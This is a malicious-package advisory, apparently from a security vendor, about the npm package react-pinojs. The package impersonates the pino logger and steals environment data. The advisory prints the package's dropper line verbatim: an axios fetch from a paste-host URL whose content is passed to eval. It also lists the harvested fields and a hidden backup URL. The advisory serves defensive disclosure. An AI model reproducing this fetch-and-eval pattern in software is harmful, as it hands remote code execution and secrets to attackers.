NIST deprecates RSA-2048 from 2030. Find every one of them before attackers do.
Malicious package

react-pinojsnpm

Advisory published Updated

react-pinojs is a confirmed malicious npm package (MAL-2026-5488) that steals credentials and exfiltrates sensitive data (malicious version 1.0.6). Do not install it — remove it immediately and rotate any exposed credentials.

Malicious code in react-pinojs (npm)

MAL-2026-5488
Immediate action
Remove the package, then rotate any secrets the build/runtime could reach.
npm uninstall react-pinojs

What this malware does

Package impersonates the popular pino logger (homepage points to getpino.io, description mimics pino's tagline) and executes a remote-code-execution dropper on import. lib/writer.js — loaded transitively by the main entry pino.js — performs require('axios').get('https://www.jsonkeeper.com/b/MYUKZ').then(r => { eval(r.data.content_o); }), passing arbitrary attacker-controlled JavaScript fetched from an anonymous, mutable paste host directly to eval at module load time. Before the eval fires, writer.js assembles a data object containing the full process.env, os.platform(), os.hostname(), os.userInfo().username, and non-internal MAC addresses, which is in scope for the eval'd payload. A second hex-encoded channel is hidden in writer.js: byte arrays decode to the strings 'axios', 'get', 'then', and the URL https://www.jsonkeeper.com/b/HY6M6 — a backup fetch endpoint concealed from trivial source greps. Any project that runs require('react-pinojs') (or imports it) executes attacker-controlled code with access to the installer's environment variables, hostname, username, and MAC addresses.

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

Malicious versions

1 flagged
1.0.6

Indicators of compromise (SHA-256)

db767edd3581eec08793cb669f0ec59351e61f31501b6d4287b86baea512bb63
f068b4f747b0fdc8dbacf62b3360a153e24292db9eb67d5e99f415eb900060de
e2d9a8668bc71cba43917c384a7c7938669fbc735373612ea88ba5a80f76b65f

Detection & response playbook

Credential / info stealer
  1. Find it

    Search your lockfiles and build artifacts for react-pinojs (version 1.0.6).

  2. If you installed it — respond

    react-pinojs is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.

  3. Did it already run?

    If react-pinojs was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.

Frequently asked questions

No. react-pinojs on npm has been identified as a malicious package (version 1.0.6 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-005247GHSA-3w28-cv4q-v393

References

Credits

  • Amazon Inspector · finder

Detect & block this

O3 blocks react-pinojs-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the credential exfiltration and severs the channel.

Explore

react-pinojs (npm) malicious package — MAL-2026-5488 | O3 Security